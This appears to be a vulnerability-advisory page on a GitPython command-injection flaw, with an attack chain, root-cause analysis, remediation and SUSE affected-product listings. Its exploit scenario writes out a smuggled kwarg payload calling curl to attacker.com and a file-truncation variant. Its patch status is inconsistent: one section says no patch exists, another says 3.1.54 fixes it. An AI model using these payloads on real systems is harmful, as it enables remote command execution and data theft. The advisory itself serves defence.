Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to application accepting git operation kwargs
-
DeliverySupply crafted single-char kwarg with smuggled --upload-pack value
-
Exploitcheck_unsafe_options validates key only, bypass succeeds
-
Executiontransform_kwarg emits two argv tokens including --upload-pack
-
PersistGit subprocess parses and executes attacker-supplied command
-
ImpactArbitrary OS command runs as host process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The target application must pass externally-influenced kwargs - in the form of Python keyword arguments - to at least one of the eight affected GitPython methods: clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive. The kwarg must use a single-character key (e.g., 'n', 'g') whose value contains the smuggled option token. The default configuration (allow_unsafe_options=False) is vulnerable; no non-default setting is required to trigger the bypass. CVSS PR:L indicates the attacker must hold some authenticated or credentialed standing within the consuming application - pure anonymous internet access is insufficient unless the application itself exposes an unauthenticated git-operation endpoint. Applications that construct all GitPython kwargs from hardcoded values and never incorporate external input are not exploitable regardless of version. |
| Impact | The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) accurately reflects a network-reachable, low-complexity flaw requiring only low-privilege access - consistent with the attack profile of an authenticated API user or CI pipeline actor who can supply kwargs. No EPSS score was provided in the intelligence, so probabilistic exploitation rate cannot be quantified; however, the presence of a functional, step-verified proof-of-concept in the GHSA advisory significantly elevates practical exploitability beyond what EPSS would capture for a newly-disclosed CVE. No CISA KEV listing exists at time of analysis, meaning confirmed in-the-wild exploitation is not yet documented, but the simplicity of the exploit and the breadth of affected methods (eight distinct git operations) make opportunistic targeting likely once the advisory achieves wider distribution. The primary real-world risk concentrator is any application that accepts user-controlled git options and proxies them to GitPython - CI/CD platforms, code hosting services, and git management dashboards are archetypal high-risk deployments. Applications that exclusively use hardcoded kwargs are not exposed. |
| Exploit ScenarioDerived | An attacker with access to a web application that proxies git clone or fetch operations - such as a CI pipeline trigger or repository mirror API - submits a request containing n='--upload-pack=curl http://attacker.com/$(id);git-upload-pack' as a kwarg. The application forwards this dict to Repo.clone_from; the guard validates only '-n' (the key), allows it, and the subprocess receives '--upload-pack=curl...' as a separate argv token, executing the out-of-band callback as the service account. A file-write variant using iter_commits with g='--output=/path' achieves arbitrary file truncation. A fully verified proof-of-concept for both scenarios is published in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 13, 2026
Remote code execution in GitPython before 3.1.54 exploits a guard bypass in check_unsafe_options where the validation logic inspects kwarg keys but never their values, allowing an attacker to smuggle dangerous git options such as --upload-pack inside single-character kwarg values across every guarded method - clone_from, fetch, pull, push, ls_remote, iter_commits, blame, and archive. Any application that passes externally-influenced kwargs to these methods is fully compromised; the attacker achieves arbitrary OS command execution as the host process. A working proof-of-concept is publicly available in the GHSA advisory; no CISA KEV listing has been issued at time of analysis.
RemediationAI
Upgrade GitPython to version 3.1.54, which contains the fix introduced via PR #2180 (https://github.com/gitpython-developers/GitPython/pull/2180) and commit e8d0fbf774d1f6baa3b481adfe48bd262e43b453. Note that the patch is confirmed as merged upstream but the released patched version should be verified via PyPI before deployment. If an immediate upgrade is blocked, the most effective compensating control is to audit every call site where kwargs are derived from external input and replace dynamic kwarg construction with an explicit allowlist of safe, hardcoded option keys; disallowing any caller-controlled single-character kwarg values eliminates the smuggling vector without requiring library changes, though this requires application-level code review and may break legitimate workflows. Additionally, running the git subprocess under a restricted OS user with no write access to sensitive paths limits blast radius if exploitation occurs. The vendor advisory is at https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
GitPython (CPE: cpe:2.3:a:gitpython-developers:gitpython:*:*:*:*:*:*:*:*) is a Python library that wraps git subprocess calls. The guard introduced to prevent command injection, check_unsafe_options, builds its candidate list via _option_candidates (cmd.py:1042-1046) using only kwarg keys - never values. When a single-character key like 'n' carries a value of '--upload-pack=<cmd>', the guard evaluates only '-n', which is absent from the denylist and passes cleanly. However, transform_kwarg (cmd.py:1600-1606) with split_single_char_options=True subsequently emits two distinct argv tokens: ['-n', '--upload-pack=<cmd>']. The git subprocess then parses the second token as an independent flag, triggering execution of the attacker-supplied command. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root class: user-supplied data traverses a validation gate that examines only a proxy of the data, not the data itself, before reaching an OS execution sink.
Know when Gitpython gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-reachable with low complexity; PR:L because application-level authenticated access is required; S:C because execution escapes the Python process into the host OS via git subprocess.
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.
Blast Radius
ecosystem impact- 3 pypi packages depend on gitpython (3 direct, 0 indirect)
Ecosystem-wide dependent count for version 3.1.54.
Executive ViewAI
GitPython contains an unpatched remote code execution vulnerability affecting development teams and CI/CD infrastructure. Any application using GitPython that processes external parameters or configuration is at risk of complete system compromise. With publicly available exploit code and no vendor patch currently available, immediate action is required to prevent compromise of source code repositories and development environments.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) implement strict input validation and whitelisting of all parameters from external sources; (2) run GitPython operations in isolated containers with restricted privileges; (3) apply network segmentation to limit lateral movement from compromised processes; (4) enable audit logging of all Git operations for anomaly detection and forensics.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, w
Arbitrary code execution in GitPython before 3.1.59 arises from unsafe re-serialization of multi-line, quoted git-config
Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blockl
Command injection in GitPython 3.1.30-3.1.46 allows remote authenticated attackers to execute arbitrary commands via und
Command injection and arbitrary file overwrite in GitPython before 3.1.51 expose applications that pass attacker-control
Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. Th
Environment variable exfiltration in GitPython before 3.1.52 allows any attacker who controls a URL passed to `Repo.clon
GitPython before 3.1.59 discloses local file content through exception messages when parsing .gitmodules files that cont
GitPython is a python library used to interact with Git repositories. Rated high severity (CVSS 7.8), this vulnerability
Arbitrary file read in GitPython before 3.1.59 allows low-privileged remote attackers to exfiltrate sensitive files by s
Arbitrary file read in GitPython versions before 3.1.59 exposes sensitive filesystem content to low-privileged network a
GitPython is a python library used to interact with Git repositories. Rated medium severity (CVSS 6.5), this vulnerabili
Same weakness CWE-78 – OS Command Injection
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP7 | Affected |
| SUSE Linux Enterprise Server 16.0 | Affected |
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| openSUSE Leap 16.0 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP4 | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP4 | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP5 | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Affected |
| SUSE Manager Proxy 4.3 | Affected |
| SUSE Manager Retail Branch Server 4.3 | Affected |
| SUSE Manager Server 4.3 | Affected |
| SUSE Linux Enterprise Desktop 15 SP4 | Affected |
| SUSE Linux Enterprise Desktop 15 SP5 | Affected |
| SUSE Linux Enterprise Desktop 15 SP6 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Affected |
| openSUSE Leap 15.4 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-57794
GHSA-pjjh-f8rp-rjv3
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB